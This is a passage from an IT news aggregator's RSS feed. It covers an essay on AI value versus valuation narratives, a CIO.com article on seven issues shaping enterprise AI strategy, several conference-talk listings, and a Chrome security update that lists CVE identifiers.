<p class="wp-block-paragraph">This distinction is critically important because capital markets have historically rewarded the <em>expectation</em> of technological transformation long before actual economic results materialized. During previous technological revolutions—including electrification, enterprise resource planning, the internet, cloud computing and mobile platforms—valuation expansion frequently preceded measurable productivity gains by many years. The market priced future possibility before operational economics caught up. In many instances, investors rewarded firms simply for appearing strategically aligned with the dominant technological shift of the era. AI appears to be following a similar trajectory.</p>



<p class="wp-block-paragraph">The phenomenon resembles the famous <a href="https://www.brookings.edu/articles/the-solow-productivity-paradox-what-do-computers-do-to-productivity/">productivity paradox</a> articulated by economist Robert Solow, who observed that “you can see the computer age everywhere but in the productivity statistics.” AI today is visible everywhere: in investor presentations, earnings calls, technology conferences, product announcements and boardroom strategies. Yet in many industries, its measurable contribution to enterprise productivity, profitability or economic resilience remains difficult to isolate with precision. This does not necessarily mean AI lacks value. Rather, it reflects the reality that traditional accounting and performance systems were never designed to measure the forms of value AI increasingly produces.</p>



<p class="wp-block-paragraph">Artificial intelligence creates benefits that are often diffuse, cumulative and difficult to attribute directly to financial outcomes. AI may improve forecasting accuracy, reduce fraud, accelerate decision cycles, augment employee effectiveness, improve customer interactions, optimize logistics or enhance cybersecurity resilience. These benefits frequently manifest as second-order effects distributed across the enterprise rather than as immediately visible financial events. The causal chain between AI investment and realized business performance can therefore become extraordinarily difficult to quantify. A company may become operationally more intelligent without immediately becoming measurably more profitable.</p>



<p class="wp-block-paragraph">At the same time, AI introduces a profound danger: organizations may increasingly optimize for technological narrative rather than durable enterprise economics. Many firms today are pursuing AI primarily because markets reward the appearance of AI leadership. Investor enthusiasm, analyst pressure and competitive fear create incentives to demonstrate visible AI activity <a href="https://howardarubin.substack.com/p/talking-about-ai-value-is-like-talking">regardless of whether measurable economic value has actually been achieved</a>. In this environment, AI metrics can easily become instruments of valuation signaling rather than instruments of operational truth.</p>



<p class="wp-block-paragraph">This distinction between signaling and substance may become one of the defining economic challenges of the AI era. An organization may announce aggressive AI deployment programs, reduce headcount and report short-term margin improvements while simultaneously increasing hidden forms of technological fragility. Infrastructure costs may rise dramatically as GPU consumption, cloud usage, data engineering requirements and cybersecurity complexity expand. Technical debt may accelerate as AI-generated code proliferates without sufficient architectural discipline. Institutional knowledge may erode as organizations become excessively dependent on opaque models and automated systems. Long-term innovation capacity may weaken if enterprises divert disproportionate resources toward maintaining internally generated AI systems rather than building new strategic capabilities.</p>



<h2 class="wp-block-heading">What measuring AI value might actually look like</h2>



<p class="wp-block-paragraph">The distinction between AI activity and AI value becomes clearer when viewed through the kinds of measures organizations choose to track. Many enterprises today emphasize indicators such as the number of AI models deployed, copilots implemented, agents created, prompts executed, tokens consumed or employees using AI tools. These metrics demonstrate adoption and technological activity, but they reveal relatively little about whether AI is producing meaningful business outcomes.</p>



<p class="wp-block-paragraph">Measures of enterprise value look quite different. A manufacturer might evaluate whether AI improves demand forecasting accuracy enough to reduce inventory carrying costs or stockouts. A financial institution might measure whether AI meaningfully lowers fraud losses, accelerates loan processing or improves regulatory compliance. A healthcare provider could assess reductions in administrative burden, faster clinical decision support or improvements in patient throughput. In each case, the objective is not simply to measure AI deployment, but to determine whether AI creates measurable improvements in operational performance, economic outcomes or organizational resilience.</p>



<p class="wp-block-paragraph">Ultimately, organizations may need to ask a different question: not “How much AI are we using?” but “How much business value does each unit of AI investment create?” That shift—from measuring technological activity to measuring economic outcomes—may become one of the defining management disciplines of the AI era.</p>



<p class="wp-block-paragraph">Under traditional accounting frameworks, many of these deteriorations remain largely invisible. Quarterly earnings may improve even as underlying enterprise resilience declines. Stock prices may rise even as operational complexity becomes increasingly unsustainable. In this sense, the AI era threatens to widen the gap between financial appearance and organizational reality.</p>



<p class="wp-block-paragraph">This is why the future of enterprise measurement cannot simply involve adding AI metrics to existing financial scorecards. The challenge is far deeper. AI forces a reconsideration of what business performance actually means. Historically, enterprises were measured largely through static indicators of efficiency and output. Increasingly, however, competitive advantage may depend less on traditional efficiency and more on adaptive intelligence: the ability of an organization to learn faster, make better decisions, integrate human and machine capabilities effectively, manage technological complexity sustainably and convert computational power into durable economic outcomes.</p>



<p class="wp-block-paragraph">The most important future performance measures may therefore revolve around questions traditional accounting rarely addresses. How effectively does an enterprise convert technology investment into sustainable business capability? How economically efficient are its AI operations relative to the value they generate? How resilient is the organization to AI failure, cybersecurity disruption or infrastructure inflation? How successfully does it preserve and amplify human expertise rather than simply eliminate labor? How rapidly can it learn, adapt and operationalize new knowledge?</p>



<p class="wp-block-paragraph">These are not merely technology questions. They are questions of enterprise economics, organizational sustainability and long-term competitive viability.</p>



<p class="wp-block-paragraph">The companies that ultimately succeed in the AI era may not be those with the largest AI budgets, the greatest number of pilots or the most aggressive automation programs. They may instead be the firms that best understand the economics of technological capability itself: organizations capable of balancing innovation with resilience, automation with human augmentation and technological ambition with sustainable operational design.</p>



<p class="wp-block-paragraph">The coming decade is therefore likely to produce a widening divide between enterprises optimizing for AI-driven valuation narratives and enterprises optimizing for measurable, durable economic performance. In the short term, these may appear to be the same thing.</p>



<p class="wp-block-paragraph">Over time, however, the distinction will become increasingly visible. Some organizations will discover that AI has enhanced genuine enterprise capability. Others will discover that they merely optimized the appearance of transformation while silently accumulating new forms of economic and operational risk.</p>



<p class="wp-block-paragraph">Artificial intelligence is not simply changing business operations. It is exposing the inadequacy of many of the measures used to evaluate business success itself. The central challenge of the AI economy may ultimately become not whether organizations adopt AI, but whether they can distinguish between technological activity and actual economic value creation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]></title>
<description><![CDATA[CIOs remain at the forefront of setting the course for AI adoption in their organizations.



In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI ado...]]></description>
<link>https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">CIOs remain at the forefront of setting the course for AI adoption in their organizations.</p>



<p class="wp-block-paragraph">In fact, 82% of CIO respondents to <a href="https://us.resources.cio.com/resources/state-of-the-cio/">CIO.com’s 2026 State of the CIO survey</a> are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.</p>



<p class="wp-block-paragraph">As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">AI change management</a>. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.</p>



<p class="wp-block-paragraph">Here’s a look at seven notable issues impacting AI strategies in 2026.</p>



<h2 class="wp-block-heading">1. Increasing pressure to show ROI for AI investments</h2>



<p class="wp-block-paragraph">The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see <a href="https://www.cio.com/article/4114010/2026-the-year-ai-roi-gets-real.html">quantifiable returns from their AI investments</a>. Kyndryl’s 2025 <a href="https://www.kyndryl.com/us/en/insights/readiness-report-2025">Readiness Report</a>, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.</p>



<p class="wp-block-paragraph">“The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says <a href="https://www.ensono.com/company/leadership/jim-piazza/">Jim Piazza</a>, chief AI officer at IT services firm Ensono.</p>



<p class="wp-block-paragraph">As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.</p>



<p class="wp-block-paragraph">That strategy seems to be paying off. According to the <a href="https://www.prnewswire.com/news-releases/dun--bradstreet-global-survey-of-10-000-businesses-finds-ai-impact-at-an-inflection-point-302761821.html">May 2026 AI Momentum Survey from Dun &amp; Bradstreet</a>, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.</p>



<p class="wp-block-paragraph">That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf">The GenAI Divide: State of AI in Business 2025</a> from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.</p>



<h2 class="wp-block-heading">2. The need to harness AI for transformation</h2>



<p class="wp-block-paragraph">The No. 1 concern for CEOs this year, according to <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 <a href="https://kpmg.com/us/en/articles/2026/adaptability-pulse-survey.html">Adaptability Pulse Survey</a> said they feel pressure to accelerate innovation.</p>



<p class="wp-block-paragraph">That in turn is influencing AI strategies.</p>



<p class="wp-block-paragraph"><a href="http://steve%20santana%20%7C%20linkedin/">Steve Santana</a>, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”</p>



<p class="wp-block-paragraph">For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.</p>



<p class="wp-block-paragraph">And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”</p>



<p class="wp-block-paragraph">He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”</p>



<h2 class="wp-block-heading">3. The black box of AI costs</h2>



<p class="wp-block-paragraph">CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">underestimate their AI infrastructure costs by 30% through 2027</a>.</p>



<p class="wp-block-paragraph">That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.</p>



<p class="wp-block-paragraph">“You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says <a href="http://mohan%20sankararaman%20-%20corporate%20leadership/">Mohan Sankararaman</a>, executive vice president and CIO of First Horizon Bank.</p>



<p class="wp-block-paragraph">Sankararaman says he’s devising his AI strategy with that uncertainty in mind.</p>



<p class="wp-block-paragraph">“It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.</p>



<p class="wp-block-paragraph">“IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.</p>



<p class="wp-block-paragraph">Researchers recommend such approaches. In a <a href="https://www.idc.com/resource-center/blog/balancing-ai-innovation-and-cost-the-new-finops-mandate/">blog highlighting the IDC research</a>, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat <a href="https://my.idc.com/getdoc.jsp?containerId=US53858725&amp;pageType=PRINTFRIENDLY" target="_blank" rel="noreferrer noopener">AI economics as a living ecosystem</a> — measurable, visible, and continuously optimized.”</p>



<h2 class="wp-block-heading">4. Aligning use cases to business strategy</h2>



<p class="wp-block-paragraph">There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.</p>



<p class="wp-block-paragraph">That’s easier said than done.</p>



<p class="wp-block-paragraph">Enterprise Strategy Group’s <a href="https://www.snowflake.com/en/news/press-releases/snowflake-research-reveals-that-92-percent-of-early-adopters-see-roi-from-ai-investments/">2025 report on generative AI’s ROI</a> surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.</p>



<p class="wp-block-paragraph">Longtime CIO adviser <a href="http://larry%20wolff%20%7C%20linkedin/">Larry Wolff</a> says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.</p>



<p class="wp-block-paragraph">“There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”</p>



<h2 class="wp-block-heading">5. Human readiness to use AI</h2>



<p class="wp-block-paragraph">Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to <a href="https://www.cio.com/article/4146677/the-ai-revolution-getting-culture-right-for-ai-success.html">improve the organization’s understanding of the technology</a>. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”</p>



<p class="wp-block-paragraph">“If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.</p>



<p class="wp-block-paragraph">Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.</p>



<p class="wp-block-paragraph">According to <a href="https://www.ey.com/en_us/people/jamaal-justice">Jamaal Justice</a>, principal for people consulting at EY, concern about AI fluency is widespread.</p>



<p class="wp-block-paragraph">“One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to <a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”</p>



<p class="wp-block-paragraph">Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.</p>



<p class="wp-block-paragraph">“Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”</p>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.</p>



<h2 class="wp-block-heading">6. Data readiness for AI use</h2>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Data readiness</a> is also lagging at most organizations, further hindering AI ambitions.</p>



<p class="wp-block-paragraph">According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled <a href="https://www.cloudera.com/campaign/taming-the-complexity-of-ai-data-readiness.html">Taming the Complexity of AI Data Readiness</a>, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).</p>



<p class="wp-block-paragraph">To ensure AI success, “a radical reshaping of the data landscape is needed,” says <a href="https://www.linkedin.com/in/steve-prewitt-295859/">Steve Prewitt</a>, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.</p>



<p class="wp-block-paragraph">That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.</p>



<h2 class="wp-block-heading">7. Engendering trust</h2>



<p class="wp-block-paragraph">ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.</p>



<p class="wp-block-paragraph">That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.</p>



<p class="wp-block-paragraph">ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.</p>



<p class="wp-block-paragraph">“You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A.I. Drones Are Coming. We Are Not Ready.]]></title>
<description><![CDATA[World leaders are marching us toward an uncertain era of new warfare — fast.]]></description>
<link>https://tsecurity.de/de/3680667/ai-nachrichten/ai-drones-are-coming-we-are-not-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680667/ai-nachrichten/ai-drones-are-coming-we-are-not-ready/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[World leaders are marching us toward an uncertain era of new warfare — fast.]]></content:encoded>
</item>
<item>
<title><![CDATA[Migrating to OpenVox at CERN (voxconf2026)]]></title>
<description><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible tech...]]></description>
<link>https://tsecurity.de/de/3679973/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679973/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</guid>
<pubDate>Sun, 19 Jul 2026 22:46:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible technical debt and challenges. We would like to present our journey, past, present and future on our Puppet to Openvox transition

For many organizations, the migration from Puppet to OpenVox might be a matter of swapping repositories and running a package update. For CERN (home to the Large Hadron Collider and tens of thousands of heterogeneous nodes spanning data centers, accelerator controls, and physics analysis grids) it has been an archaeological dig through a decade and a half of institutional configuration history.

This is a post-mortem (and mid-mortem) of a massive enterprise pivot for a system that supports +15000 machines and +400 administrators. In our pursuit of a fully OpenVox-driven infrastructure, we discovered that the technical debt was not in the software itself, but in the abstractions we had built on top of the software. This is a description of the challenges we surpassed and will have coming later on this year (and beyond) to align with CERN's long-term opensource strategy.
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Migrating to OpenVox at CERN (voxconf2026)]]></title>
<description><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible tech...]]></description>
<link>https://tsecurity.de/de/3679966/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679966/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</guid>
<pubDate>Sun, 19 Jul 2026 22:32:54 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible technical debt and challenges. We would like to present our journey, past, present and future on our Puppet to Openvox transition

For many organizations, the migration from Puppet to OpenVox might be a matter of swapping repositories and running a package update. For CERN (home to the Large Hadron Collider and tens of thousands of heterogeneous nodes spanning data centers, accelerator controls, and physics analysis grids) it has been an archaeological dig through a decade and a half of institutional configuration history.

This is a post-mortem (and mid-mortem) of a massive enterprise pivot for a system that supports +15000 machines and +400 administrators. In our pursuit of a fully OpenVox-driven infrastructure, we discovered that the technical debt was not in the software itself, but in the abstractions we had built on top of the software. This is a description of the challenges we surpassed and will have coming later on this year (and beyond) to align with CERN's long-term opensource strategy.
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Sunday Reboot: Shrinking models and an on-device AI future]]></title>
<description><![CDATA[In this week's Sunday Reboot, Apple's AI model-shrinking talk could have massive benefits, with a chance of also being a billion-dollar deal if it plays its cards right.On-device AI processing will be a big thing in the coming years if Apple bets right. Sunday Reboot is a weekly column covering s...]]></description>
<link>https://tsecurity.de/de/3679941/ios-mac-os/sunday-reboot-shrinking-models-and-an-on-device-ai-future/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679941/ios-mac-os/sunday-reboot-shrinking-models-and-an-on-device-ai-future/</guid>
<pubDate>Sun, 19 Jul 2026 22:24:00 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this week's <em>Sunday Reboot</em>, Apple's AI model-shrinking talk could have massive benefits, with a chance of also being a billion-dollar deal if it plays its cards right.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68289-143946-57996-118130-000-lede-Siri-2-xl-xl.jpg" alt="Close-up of a modern smartphone in the dark, screen showing a colorful glowing Siri-style voice assistant logo near the top edge with visible side buttons" height="738"><br><span>On-device AI processing will be a big thing in the coming years if Apple bets right. </span></div><br><em>Sunday Reboot</em> is a weekly column covering some of the lighter stories within the Apple reality distortion field from the past seven days. All to get the next week underway with a good first step.<br><br><br> <a href="https://appleinsider.com/articles/26/07/19/sunday-reboot-shrinking-models-and-an-on-device-ai-future?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244995?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[What's in a number plate? (emf2026)]]></title>
<description><![CDATA[Why are Irish number plates so much longer than British ones, despite the population being much smaller? What letters can you use on a Greek number plate? How do you drive a Japanese-registered car abroad, when the number plate is full of kanji and kana? Why do some people give Belgian cars with ...]]></description>
<link>https://tsecurity.de/de/3679530/it-security-video/whats-in-a-number-plate-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679530/it-security-video/whats-in-a-number-plate-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 15:33:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Why are Irish number plates so much longer than British ones, despite the population being much smaller? What letters can you use on a Greek number plate? How do you drive a Japanese-registered car abroad, when the number plate is full of kanji and kana? Why do some people give Belgian cars with five-character plates a wide berth? Are those supercars with Arabic number plates you see in West London even legal?

I've always been a bit obsessed with vehicle registration plates. I like spotting the hidden information in them, but I also like seeing the decisions encoded in their formats, and how those have played out over time. Everywhere seems to have come up with its own solution to the same problem, they're all different, and seemingly innocuous decisions can have significant impacts later on.

These superficially trivial identifiers turn out to be much more than that, intersecting design, politics, information encoding, and even questions of identity. They're also, I hope to show, fun, and can make us all feel better about having to live with the consequences of bad choices we made in the past.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/48-whats-in-a-number-plate]]></content:encoded>
</item>
<item>
<title><![CDATA[What's in a number plate? (emf2026)]]></title>
<description><![CDATA[Why are Irish number plates so much longer than British ones, despite the population being much smaller? What letters can you use on a Greek number plate? How do you drive a Japanese-registered car abroad, when the number plate is full of kanji and kana? Why do some people give Belgian cars with ...]]></description>
<link>https://tsecurity.de/de/3679362/it-security-video/whats-in-a-number-plate-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679362/it-security-video/whats-in-a-number-plate-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:03:36 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Why are Irish number plates so much longer than British ones, despite the population being much smaller? What letters can you use on a Greek number plate? How do you drive a Japanese-registered car abroad, when the number plate is full of kanji and kana? Why do some people give Belgian cars with five-character plates a wide berth? Are those supercars with Arabic number plates you see in West London even legal?

I've always been a bit obsessed with vehicle registration plates. I like spotting the hidden information in them, but I also like seeing the decisions encoded in their formats, and how those have played out over time. Everywhere seems to have come up with its own solution to the same problem, they're all different, and seemingly innocuous decisions can have significant impacts later on.

These superficially trivial identifiers turn out to be much more than that, intersecting design, politics, information encoding, and even questions of identity. They're also, I hope to show, fun, and can make us all feel better about having to live with the consequences of bad choices we made in the past.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/48-whats-in-a-number-plate]]></content:encoded>
</item>
<item>
<title><![CDATA[Stable Channel Update for Desktop]]></title>
<description><![CDATA[The Stable channel has been updated to 150.0.7871.124/.125 for Windows and Mac and 150.0.7871.124 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the LogSecurity Fixes and RewardsNote: Access to bug details and links may be kept rest...]]></description>
<link>https://tsecurity.de/de/3678854/it-security-nachrichten/stable-channel-update-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678854/it-security-nachrichten/stable-channel-update-for-desktop/</guid>
<pubDate>Sun, 19 Jul 2026 06:07:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span face="Roboto, sans-serif"><span color="rgba(0, 0, 0, 0.87)">The Stable channel has been updated to 150.0.7871.124/.125 for Windows and</span><span color="rgba(0, 0, 0, 0.87)"> </span><span color="rgba(0, 0, 0, 0.87)">Mac and </span></span><span color="rgba(0, 0, 0, 0.87)"><span>150.0.7871.124 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the </span><a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.115..150.0.7871.125?pretty=fuller&amp;n=10000">Log</a></span></p><p dir="ltr"><span>Security Fixes and Rewards</span></p><p dir="ltr"><span>Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>This update includes </span><a href="https://issues.chromium.org/issues?q=customfield1223088:2-M150"><span>15</span></a><span> security fixes. Please see the </span><a href="https://www.chromium.org/Home/chromium-security"><span>Chrome Security Page</span></a><span> for more information.</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/517100492"><span>517100492</span></a><span>]</span><span> Critical </span><span>CVE-2026-15764: Use after free in Ozone. </span><span>Reported by Google on 2026-05-27</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/518007484"><span>518007484</span></a><span>]</span><span> Critical </span><span>CVE-2026-15765: Use after free in Ozone. </span><span>Reported by Google on 2026-05-29</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/514010477"><span>514010477</span></a><span>]</span><span> High </span><span>CVE-2026-15766: Uninitialized Use in Skia. </span><span>Reported by Google on 2026-05-17</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/514748734"><span>514748734</span></a><span>]</span><span> High </span><span>CVE-2026-15767: Heap buffer overflow in libyuv. </span><span>Reported by Google on 2026-05-19</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/517931625"><span>517931625</span></a><span>]</span><span> High </span><span>CVE-2026-15768: Insufficient policy enforcement in HTML-in-Canvas. </span><span>Reported by Google on 2026-05-29</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/519731111"><span>519731111</span></a><span>]</span><span> High </span><span>CVE-2026-15769: Insufficient validation of untrusted input in Linux Toolkit Theming. </span><span>Reported by Google on 2026-06-03</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/524792614"><span>524792614</span></a><span>]</span><span> High </span><span>CVE-2026-15770: Uninitialized Use in V8. </span><span>Reported by Google on 2026-06-17</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/525177160"><span>525177160</span></a><span>]</span><span> High </span><span>CVE-2026-15771: Insufficient validation of untrusted input in Media. </span><span>Reported by Google on 2026-06-18</span></p><p dir="ltr"><span>[N/A][</span><a 